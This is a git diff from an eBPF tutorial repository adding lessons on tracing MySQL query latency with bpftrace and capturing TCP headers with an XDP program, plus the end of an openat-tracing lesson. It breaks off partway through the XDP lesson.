allows user space programs to dynamically control the behavior of eBPF programs at runtime. - -In our example, the global variable `pid_target` is used to filter process PIDs. User space programs can set the value of this variable to capture only the `sys_openat` system calls related to the specified PID in the eBPF program. - -The principle of using global variables is that they are defined and stored in the data section of eBPF programs. When the eBPF program is loaded into the kernel and executed, these global variables are retained in the kernel and can be accessed through BPF system calls. User space programs can use certain features of BPF system calls, such as `bpf_obj_get_info_by_fd` and `bpf_obj_get_info`, to obtain information about the eBPF object, including the position and value of global variables. - -You can view the help information for opensnoop by executing the command `ecli -h`: - -```console -$ ecli package.json -h -Usage: opensnoop_bpf [--help] [--version] [--verbose] [--pid_target VAR] - -Trace open family syscalls. - -Optional arguments: - -h, --help shows help message and exits - -v, --version prints version information and exits - --verbose prints libbpf debug information - --pid_target Process ID to trace - -Built with eunomia-bpf framework. -See https://github.com/eunomia-bpf/eunomia-bpf for more information. -``` - -You can specify the PID of the process to capture by using the `--pid_target` option, for example: - -```console -$ sudo ./ecli run package.json --pid_target 618 -Running eBPF program... -``` - -After running this program, you can view the output of the eBPF program by viewing the `/sys/kernel/debug/tracing/trace_pipe` file: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe".\-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat -\-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat -``` - -## Summary - -This article introduces how to use eBPF programs to capture the system calls for process file opening. In an eBPF program, we can capture the system calls for process file opening by defining functions `tracepoint__syscalls__sys_enter_open` and `tracepoint__syscalls__sys_enter_openat` and attaching them to the tracepoints `sys_enter_open` and `sys_enter_openat` using the `SEC` macro. We can use the `bpf_get_current_pid_tgid` function to get the process ID that calls the open or openat system call, and print it out in the kernel log using the `bpf_printk` function. In an eBPF program, we can also filter the output by defining a global variable `pid_target` to specify the pid of the process to be captured, only outputting the information of the specified process. - -By learning this tutorial, you should have a deeper understanding of how to capture and filter system calls for specific processes in eBPF. This method has widespread applications in system monitoring, performance analysis, and security auditing. - -If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and a complete tutorial. diff --git a/src/40-mysql/.config b/src/40-mysql/.config new file mode 100644 index 00000000..d50f199a --- /dev/null +++ b/src/40-mysql/.config @@ -0,0 +1,2 @@ +level=Depth +type=Tracing diff --git a/src/40-mysql/README.md b/src/40-mysql/README.md new file mode 100644 index 00000000..a5870350 --- /dev/null +++ b/src/40-mysql/README.md @@ -0,0 +1,107 @@ +# Using eBPF to Trace MySQL Queries + +MySQL is one of the most widely used relational database management systems in the world. Whether you are running a small application or a large-scale enterprise system, understanding the performance characteristics of your MySQL database can be crucial. In particular, knowing how long SQL queries take to execute and which queries are consuming the most time can help in diagnosing performance issues and optimizing your database for better efficiency. + +This is where eBPF (Extended Berkeley Packet Filter) comes into play. eBPF is a powerful technology that allows you to write programs that can run in the Linux kernel, enabling you to trace, monitor, and analyze various aspects of system behavior, including the performance of applications like MySQL. In this blog, we'll explore how to use eBPF to trace MySQL queries, measure their execution time, and gain valuable insights into your database's performance. + +> The complete source code: + +## Background: MySQL and eBPF + +### MySQL + +MySQL is a relational database management system (RDBMS) that uses Structured Query Language (SQL) to manage and query data. It is widely used for a variety of applications, from web applications to data warehousing. MySQL's performance can be critical to the overall performance of your application, especially when dealing with large datasets or complex queries. + +### eBPF + +eBPF is a technology that allows for the execution of custom programs in the Linux kernel without the need to modify the kernel source code or load kernel modules. Initially designed for network packet filtering, eBPF has evolved into a versatile tool for performance monitoring, security, and debugging. eBPF programs can be attached to various kernel and user-space events, making it possible to trace the execution of functions, system calls, and more. + +Using eBPF, we can trace the execution of MySQL functions, such as `dispatch_command`, which is responsible for handling SQL queries. By tracing this function, we can capture the start and end times of query execution, measure the latency, and log the executed queries. + +## Tracing MySQL Queries with eBPF + +To trace MySQL queries using eBPF, we can write a script using `bpftrace`, a high-level tracing language for eBPF. Below is a script that traces the `dispatch_command` function in MySQL to log executed queries and measure their execution time: + +```bt +#!/usr/bin/env bpftrace + +// Trace the dispatch_command function in MySQL +uprobe:/usr/sbin/mysqld:dispatch_command +{ + // Store the start time of the command execution in the map + @start_times[tid] = nsecs; + + // Print the process ID and command string + printf("MySQL command executed by PID %d: ", pid); + + // The third argument to dispatch_command is the SQL query string + printf("%s\n", str(arg3)); +} + +uretprobe:/usr/sbin/mysqld:dispatch_command +{ + // Retrieve the start time from the map + $start = @start_times[tid]; + + // Calculate the latency in milliseconds + $delta = (nsecs - $start) / 1000000; + + // Print the latency + printf("Latency: %u ms\n", $delta); + + // Delete the entry from the map to avoid memory leaks + delete(@start_times[tid]); +} +``` + +### Explanation of the Script + +1. **Tracing the `dispatch_command` Function**: + - The script attaches an `uprobe` to the `dispatch_command` function in MySQL. This function is called whenever MySQL needs to execute a SQL query. `Uprobe` in kernel mode eBPF runtime may also cause relatively large performance overhead. In this case, you can also consider using user mode eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime). + - The `uprobe` captures the start time of the function execution and logs the SQL query being executed. + +2. **Calculating and Logging Latency**: + - A corresponding `uretprobe` is attached to the `dispatch_command` function. The `uretprobe` triggers when the function returns, allowing us to calculate the total execution time (latency) of the query. + - The latency is calculated in milliseconds and printed to the console. + +3. **Managing State with Maps**: + - The script uses a BPF map to store the start times of each query, keyed by the thread ID (`tid`). This allows us to match the start and end of each query execution. + - After calculating the latency, the entry is removed from the map to avoid memory leaks. + +## Running the Script + +To run this script, simply save it to a file (e.g., `trace_mysql.bt`), and then execute it using `bpftrace`: + +```bash +sudo bpftrace trace_mysql.bt +``` + +### Sample Output + +Once the script is running, it will print information about each SQL query executed by MySQL, including the process ID, the query itself, and the latency: + +```console +MySQL command executed by PID 1234: SELECT * FROM users WHERE id = 1; +Latency: 15 ms +MySQL command executed by PID 1234: UPDATE users SET name = 'Alice' WHERE id = 2; +Latency: 23 ms +MySQL command executed by PID 1234: INSERT INTO orders (user_id, product_id) VALUES (1, 10); +Latency: 42 ms +``` + +This output shows the SQL commands being executed and how long each one took, providing valuable insights into the performance of your MySQL queries. + +## What Can We Learn from Tracing MySQL? + +By tracing MySQL queries with eBPF, you can gain several insights: + +- **Identify Slow Queries**: You can quickly identify which SQL queries are taking the longest to execute. This is critical for performance tuning and optimizing your database schema or indexing strategies. +- **Monitor Database Performance**: Regularly monitor the latency of queries to ensure that your MySQL database is performing optimally under different workloads. +- **Debugging and Troubleshooting**: When facing performance issues, this tracing method can help you pinpoint the exact queries causing delays, making it easier to troubleshoot and resolve issues. +- **Capacity Planning**: By understanding the latency of various queries, you can better plan for capacity, ensuring that your MySQL database can handle increased load or more complex queries. + +## Conclusion + +eBPF provides a powerful way to monitor and trace the performance of MySQL queries without making intrusive changes to your system. By using tools like `bpftrace`, you can gain real-time insights into how your database is performing, identify potential bottlenecks, and optimize your system for better performance. + +If you're interested in learning more about eBPF and how it can be used to monitor and optimize other parts of your system, be sure to check out our [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or visit our [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/) for more examples and complete tutorials. diff --git a/src/40-mysql/README.zh.md b/src/40-mysql/README.zh.md new file mode 100644 index 00000000..7aa34868 --- /dev/null +++ b/src/40-mysql/README.zh.md @@ -0,0 +1,105 @@ +# 使用 eBPF 跟踪 MySQL 查询 + +MySQL 是全球最广泛使用的关系型数据库管理系统之一。无论您是在运行小型应用程序还是大型企业系统,了解 MySQL 数据库的性能特征都至关重要。特别是了解 SQL 查询的执行时间以及哪些查询占用了最多的时间,有助于诊断性能问题,并优化数据库以提高效率。 + +在这种情况下,eBPF(扩展的伯克利包过滤器)可以派上用场。eBPF 是一项强大的技术,它允许您编写程序并在 Linux 内核中运行,帮助您跟踪、监控和分析系统行为的各个方面,包括 MySQL 这类应用程序的性能。在本文中,我们将探讨如何使用 eBPF 跟踪 MySQL 查询,测量其执行时间,并深入了解数据库的性能表现。 + +## 背景:MySQL 和 eBPF + +### MySQL + +MySQL 是一种关系型数据库管理系统(RDBMS),使用结构化查询语言(SQL)来管理和查询数据。它广泛应用于各种场景,从 Web 应用程序到数据仓库。MySQL 的性能对应用程序的整体性能至关重要,尤其是在处理大数据集或复杂查询时。 + +### eBPF + +eBPF 是一项允许在 Linux 内核中执行自定义程序的技术,而无需修改内核源代码或加载内核模块。eBPF 最初是为网络数据包过滤而设计的,但现在已经发展为一个多用途的工具,可用于性能监控、安全和调试。eBPF 程序可以附加到各种内核和用户空间事件上,使得我们能够跟踪函数、系统调用等的执行。 + +使用 eBPF,我们可以跟踪 MySQL 的某些函数,例如负责处理 SQL 查询的 `dispatch_command` 函数。通过跟踪该函数,我们可以捕获查询执行的开始和结束时间,测量延迟,并记录执行的查询。 + +## MySQL 查询 + +要使用 eBPF 跟踪 MySQL 查询,我们可以编写一个使用 `bpftrace` 的脚本,`bpftrace` 是一种 eBPF 的高级跟踪语言。以下是一个跟踪 MySQL 中 `dispatch_command` 函数的脚本,用于记录执行的查询并测量其执行时间: + +```bt +#!/usr/bin/env bpftrace + +// 跟踪 MySQL 中的 dispatch_command 函数 +uprobe:/usr/sbin/mysqld:dispatch_command +{ + // 将命令执行的开始时间存储在 map 中 + @start_times[tid] = nsecs; + + // 打印进程 ID 和命令字符串 + printf("MySQL command executed by PID %d: ", pid); + + // dispatch_command 的第三个参数是 SQL 查询字符串 + printf("%s\n", str(arg3)); +} + +uretprobe:/usr/sbin/mysqld:dispatch_command +{ + // 从 map 中获取开始时间 + $start = @start_times[tid]; + + // 计算延迟,以毫秒为单位 + $delta = (nsecs - $start) / 1000000; + + // 打印延迟 + printf("Latency: %u ms\n", $delta); + + // 从 map 中删除条目以避免内存泄漏 + delete(@start_times[tid]); +} +``` + +### 脚本解释 + +1. **跟踪 `dispatch_command` 函数**: + - 该脚本在 MySQL 中的 `dispatch_command` 函数上附加了一个 `uprobe`。该函数在 MySQL 需要执行 SQL 查询时调用。`Uprobe` 在内核模式 eBPF 运行时中可能会导致较大的性能开销。在这种情况下,您可以考虑使用用户模式 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。 + - `uprobe` 捕获函数执行的开始时间并记录正在执行的 SQL 查询。 + +2. **计算和记录延迟**: + - 一个相应的 `uretprobe` 附加到 `dispatch_command` 函数。`uretprobe` 在函数返回时触发,允许我们计算查询的总执行时间(延迟)。 + - 延迟以毫秒为单位计算并打印到控制台。 + +3. **使用 Map 管理状态**: + - 脚本使用一个 BPF map 来存储每个查询的开始时间,并以线程 ID (`tid`) 作为键。这使我们能够匹配每次查询执行的开始和结束时间。 + - 在计算延迟后,从 map 中删除条目以避免内存泄漏。 + +## 运行脚本 + +要运行此脚本,只需将其保存为文件(例如 `trace_mysql.bt`),然后使用 `bpftrace` 执行它: + +```bash +sudo bpftrace trace_mysql.bt +``` + +### 输出示例 + +脚本运行后,它将打印 MySQL 执行的每个 SQL 查询的信息,包括进程 ID、查询内容以及延迟时间: + +```console +MySQL command executed by PID 1234: SELECT * FROM users WHERE id = 1; +Latency: 15 ms +MySQL command executed by PID 1234: UPDATE users SET name = 'Alice' WHERE id = 2; +Latency: 23 ms +MySQL command executed by PID 1234: INSERT INTO orders (user_id, product_id) VALUES (1, 10); +Latency: 42 ms +``` + +这个输出显示了正在执行的 SQL 命令以及每个命令的执行时间,为您提供了关于 MySQL 查询性能的宝贵见解。 + +## 跟踪 MySQL 查询可以带来什么收获? + +通过使用 eBPF 跟踪 MySQL 查询,您可以获得以下几点收获: + +- **识别慢查询**:您可以快速识别哪些 SQL 查询执行时间最长。这对于性能调优以及优化数据库模式或索引策略至关重要。 +- **监控数据库性能**:定期监控查询的延迟,确保您的 MySQL 数据库在不同工作负载下保持最佳性能。 +- **调试和故障排除**:在面对性能问题时,这种跟踪方法可以帮助您准确定位导致延迟的查询,从而更容易调试和解决问题。 +- **容量规划**:通过了解各种查询的延迟,您可以更好地进行容量规划,确保您的 MySQL 数据库能够处理更高的负载或更复杂的查询。 + +## 结论 + +eBPF 提供了一种强大的方法来监控和跟踪 MySQL 查询的性能,而无需对系统进行侵入式更改。通过使用 `bpftrace` 这样的工具,您可以实时了解数据库的性能表现,识别潜在的瓶颈,并优化系统以获得更好的性能。 + +如果您有兴趣了解更多关于 eBPF 的知识,以及如何将其用于监控和优化系统的其他部分,请访问我们的 [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 或浏览我们的网站 [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/) 获取更多示例和完整的教程。 diff --git a/src/40-mysql/dispatch_command.bt b/src/40-mysql/dispatch_command.bt new file mode 100644 index 00000000..e42e3781 --- /dev/null +++ b/src/40-mysql/dispatch_command.bt @@ -0,0 +1,30 @@ +#!/usr/bin/env bpftrace + + +// Trace the dispatch_command function in MySQL +uprobe:/usr/sbin/mysqld:dispatch_command +{ + // Store the start time of the command execution in the map + @start_times[tid] = nsecs; + + // Print the process ID and command string + printf("MySQL command executed by PID %d: ", pid); + + // The third argument to dispatch_command is the SQL query string + printf("%s\n", str(arg3)); +} + +uretprobe:/usr/sbin/mysqld:dispatch_command +{ + // Retrieve the start time from the map + $start = @start_times[tid]; + + // Calculate the latency in milliseconds + $delta = (nsecs - $start) / 1000000; + + // Print the latency + printf("Latency: %u ms\n", $delta); + + // Delete the entry from the map to avoid memory leaks + delete(@start_times[tid]); +} diff --git a/src/41-xdp-tcpdump/.config b/src/41-xdp-tcpdump/.config new file mode 100644 index 00000000..12323e66 --- /dev/null +++ b/src/41-xdp-tcpdump/.config @@ -0,0 +1,2 @@ +level=Depth +type=Networking diff --git a/src/41-xdp-tcpdump/.gitignore b/src/41-xdp-tcpdump/.gitignore new file mode 100644 index 00000000..0812f1ef --- /dev/null +++ b/src/41-xdp-tcpdump/.gitignore @@ -0,0 +1,6 @@ +.output +uprobe +merge-btf +*.btf +xdp_lb +xdp-tcpdump diff --git a/src/41-xdp-tcpdump/Makefile b/src/41-xdp-tcpdump/Makefile new file mode 100644 index 00000000..3fbcc0c4 --- /dev/null +++ b/src/41-xdp-tcpdump/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../third_party/blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = xdp-tcpdump + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/41-xdp-tcpdump/README.md b/src/41-xdp-tcpdump/README.md new file mode 100644 index 00000000..0a3896d0 --- /dev/null +++ b/src/41-xdp-tcpdump/README.md @@ -0,0 +1,510 @@ +# eBPF Tutorial by Example: Capturing TCP Information with XDP + +Extended Berkeley Packet Filter (eBPF) is a revolutionary technology in the Linux kernel that allows developers to run sandboxed programs within the kernel space. It enables powerful networking, security, and tracing capabilities without the need to modify the kernel source code or load kernel modules. This tutorial focuses on using eBPF with the Express Data Path (XDP) to capture TCP header information directly from network packets at the earliest point of ingress. + +> The complete source code: + +## Capturing TCP Headers with XDP + +Capturing network packets is essential for monitoring, debugging, and securing network communications. Traditional tools like `tcpdump` operate in user space and can incur significant overhead. By leveraging eBPF and XDP, we can capture TCP header information directly within the kernel, minimizing overhead and improving performance. + +In this tutorial, we'll develop an XDP program that intercepts incoming TCP packets and extracts their header information. We'll store this data in a ring buffer, which a user-space program will read and display in a human-readable format. + +### Why Use XDP for Packet Capturing? + +XDP is a high-performance data path within the Linux kernel that allows for programmable packet processing at the lowest level of the network stack. By attaching an eBPF program to XDP, we can process packets immediately as they arrive, reducing latency and improving efficiency. + +## Kernel eBPF Code Analysis + +Let's dive into the kernel-space eBPF code that captures TCP header information. + +### Full Kernel Code + +```c +#include "vmlinux.h" +#include +#include + +#define ETH_P_IP 0x0800 + +// Define the ring buffer map +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 1 << 24); // 16 MB buffer +} rb SEC(".maps"); + +// Helper function to check if the packet is TCP +static bool is_tcp(struct ethhdr *eth, void *data_end) +{ + // Ensure Ethernet header is within bounds + if ((void *)(eth + 1) > data_end) + return false; + + // Only handle IPv4 packets + if (bpf_ntohs(eth->h_proto) != ETH_P_IP) + return false; + + struct iphdr *ip = (struct iphdr *)(eth + 1); + + // Ensure IP header is within bounds + if ((void *)(ip + 1) > data_end) + return false; + + // Check if the protocol is TCP + if (ip->protocol != IPPROTO_TCP) + return false; + + return true; +} + +SEC("xdp") +int xdp_pass(struct xdp_md *ctx) +{ + // Pointers to packet data + void *data = (void *)(long)ctx->data; + void *data_end = (void *)(long)ctx->data_end; + + // Parse Ethernet header + struct ethhdr *eth = data; + + // Check if the packet is a TCP packet + if (!is_tcp(eth, data_end)) { + return XDP_PASS; + } + + // Cast to IP header + struct iphdr *ip = (struct iphdr *)(eth + 1); + + // Calculate IP header length + int ip_hdr_len = ip->ihl * 4; + if (ip_hdr_len < sizeof(struct iphdr)) { + return XDP_PASS; + } + + // Ensure IP header is within packet bounds + if ((void *)ip + ip_hdr_len > data_end) { + return XDP_PASS; + } + + // Parse TCP header + struct tcphdr *tcp = (struct tcphdr *)((unsigned char *)ip + ip_hdr_len); + + // Ensure TCP header is within packet bounds + if ((void *)(tcp + 1) > data_end) { + return XDP_PASS; + } + + // Define the number of bytes you want to capture from the TCP header + const int tcp_header_bytes = 32; + + // Ensure that the desired number of bytes does not exceed packet bounds + if ((void *)tcp + tcp_header_bytes > data_end) { + return XDP_PASS; + } + + // Reserve space in the ring buffer + void *ringbuf_space = bpf_ringbuf_reserve(&rb, tcp_header_bytes, 0); + if (!ringbuf_space) { + return XDP_PASS; // If reservation fails, skip processing + } + + // Copy the TCP header bytes into the ring buffer + // Using a loop to ensure compliance with eBPF verifier + for (int i = 0; i < tcp_header_bytes; i++) { + unsigned char byte = *((unsigned char *)tcp + i); + ((unsigned char *)ringbuf_space)[i] = byte; + } + + // Submit the data to the ring buffer + bpf_ringbuf_submit(ringbuf_space, 0); + + // Optional: Print a debug message + bpf_printk("Captured TCP header (%d bytes)", tcp_header_bytes); + + return XDP_PASS; +} + +char __license[] SEC("license") = "GPL"; +``` + +### Code Explanation + +#### Defining the Ring Buffer Map + +We define a ring buffer map named `rb` to pass data from the kernel to user space efficiently. + +```c +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 1 << 24); // 16 MB buffer +} rb SEC(".maps"); +``` + +#### Packet Parsing and Validation + +The `is_tcp` helper function checks whether the incoming packet is a TCP packet by verifying the Ethernet and IP headers. + +```c +static bool is_tcp(struct ethhdr *eth, void *data_end) +{ + // ... (checks omitted for brevity) +} +``` + +#### Capturing TCP Header Information + +In the `xdp_pass` function, we: + +1. Parse the Ethernet, IP, and TCP headers. +2. Ensure all headers are within the packet bounds to prevent invalid memory access. +3. Reserve space in the ring buffer to store the TCP header. +4. Copy the TCP header bytes into the ring buffer. +5. Submit the data to the ring buffer for user-space consumption. + +```c +// Reserve space in the ring buffer +void *ringbuf_space = bpf_ringbuf_reserve(&rb, tcp_header_bytes, 0); +if (!ringbuf_space) { + return XDP_PASS; +} + +// Copy the TCP header bytes +for (int i = 0; i < tcp_header_bytes; i++) { + unsigned char byte = *((unsigned char *)tcp + i); + ((unsigned char *)ringbuf_space)[i] = byte; +} + +// Submit to ring buffer +bpf_ringbuf_submit(ringbuf_space, 0); +``` + +#### Using bpf_printk for Debugging + +The `bpf_printk` function logs messages to the kernel's trace pipe, which can be invaluable for debugging. + +```c +bpf_printk("Captured TCP header (%d bytes)", tcp_header_bytes); +``` + +## User-Space Code Analysis + +Let's examine the user-space program that reads the captured TCP headers from the ring buffer and displays them. + +### Full User-Space Code + +```c +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "xdp-tcpdump.skel.h" // Generated skeleton header + +// Callback function to handle events from the ring buffer +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + if (data_sz < 20) { // Minimum TCP header size + fprintf(stderr, "Received incomplete TCP header\n"); + return 0; + } + + // Parse the raw TCP header bytes + struct tcphdr { + uint16_t source; + uint16_t dest; + uint32_t seq; + uint32_t ack_seq; + uint16_t res1:4, + doff:4, + fin:1, + syn:1, + rst:1, + psh:1, + ack:1, + urg:1, + ece:1, + cwr:1; + uint16_t window; + uint16_t check; + uint16_t urg_ptr; + // Options and padding may follow + } __attribute__((packed)); + + if (data_sz < sizeof(struct tcphdr)) { + fprintf(stderr, "Data size (%zu) less than TCP header size\n", data_sz); + return 0; + } + + struct tcphdr *tcp = (struct tcphdr *)data; + + // Convert fields from network byte order to host byte order + uint16_t source_port = ntohs(tcp->source); + uint16_t dest_port = ntohs(tcp->dest); + uint32_t seq = ntohl(tcp->seq); + uint32_t ack_seq = ntohl(tcp->ack_seq); + uint16_t window = ntohs(tcp->window); + + // Extract flags + uint8_t flags = 0; + flags |= (tcp->fin) ? 0x01 : 0x00; + flags |= (tcp->syn) ? 0x02 : 0x00; + flags |= (tcp->rst) ? 0x04 : 0x00; + flags |= (tcp->psh) ? 0x08 : 0x00; + flags |= (tcp->ack) ? 0x10 : 0x00; + flags |= (tcp->urg) ? 0x20 : 0x00; + flags |= (tcp->ece) ? 0x40 : 0x00; + flags |= (tcp->cwr) ? 0x80 : 0x00; + + printf("Captured TCP Header:\n"); + printf(" Source Port: %u\n", source_port); + printf(" Destination Port: %u\n", dest_port); + printf(" Sequence Number: %u\n", seq); + printf(" Acknowledgment Number: %u\n", ack_seq); + printf(" Data Offset: %u\n", tcp->doff); + printf(" Flags: 0x%02x\n", flags); + printf(" Window Size: %u\n", window); + printf("\n"); + + return 0; +} + +int main(int argc, char **argv) +{ + struct xdp_tcpdump_bpf *skel; + struct ring_buffer *rb = NULL; + int ifindex; + int err; + + if (argc != 2) + { + fprintf(stderr, "Usage: %s \n", argv[0]); + return 1; + } + + const char *ifname = argv[1]; + ifindex = if_nametoindex(ifname); + if (ifindex == 0) + { + fprintf(stderr, "Invalid interface name %s\n", ifname); + return 1; + } + + /* Open and load BPF application */ + skel = xdp_tcpdump_bpf__open(); + if (!skel) + { + fprintf(stderr, "Failed to open BPF skeleton\n"); + return 1; + } + + /* Load & verify BPF programs */ + err = xdp_tcpdump_bpf__load(skel); + if (err) + { + fprintf(stderr, "Failed to load and verify BPF skeleton: %d\n", err); + goto cleanup; + } + + /* Attach XDP program */ + err = xdp_tcpdump_bpf__attach(skel); + if (err) + { + fprintf(stderr, "Failed to attach BPF skeleton: %d\n", err); + goto cleanup; + } + + /* Attach the XDP program to the specified interface */ + skel->links.xdp_pass = bpf_program__attach_xdp(skel->progs.xdp_pass, ifindex); + if (!skel->links.xdp_pass) + { + err = -errno; + fprintf(stderr, "Failed to attach XDP program: %s\n", strerror(errno)); + goto cleanup; + } + + printf("Successfully attached XDP program to interface %s\n", ifname); + + /* Set up ring buffer polling */ + rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); + if (!rb) + { + fprintf(stderr, "Failed to create ring buffer\n"); + err = -1; + goto cleanup; + } + + printf("Start polling ring buffer\n"); + + /* Poll the ring buffer */ + while (1) + { + err = ring_buffer__poll(rb, -1); + if (err == -EINTR) + continue; + if (err < 0) + { + fprintf(stderr, "Error polling ring buffer: %d\n", err); + break; + } + } + +cleanup: + ring_buffer__free(rb); + xdp_tcpdump_bpf__destroy(skel); + return -err; +} +``` + +### Code Explanation + +#### Handling Ring Buffer Events + +The `handle_event` function processes TCP header data received from the ring buffer. + +```c +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + // Validate data size + if (data_sz < 20) { + fprintf(stderr, "Received incomplete TCP header\n"); + return 0; + } + + // Parse the TCP header + // ... (parsing code) +} +``` + +#### Parsing the TCP Header + +We define a local `tcphdr` structure to interpret the raw bytes. + +```c +struct tcphdr { + uint16_t source; + uint16_t dest; + uint32_t seq; + uint32_t ack_seq; + // ... (other fields) +} __attribute__((packed)); +``` + +#### Displaying Captured Information + +After parsing, we print the TCP header fields in a readable format. + +```c +printf("Captured TCP Header:\n"); +printf(" Source Port: %u\n", source_port); +printf(" Destination Port: %u\n", dest_port); +// ... (other fields) +``` + +#### 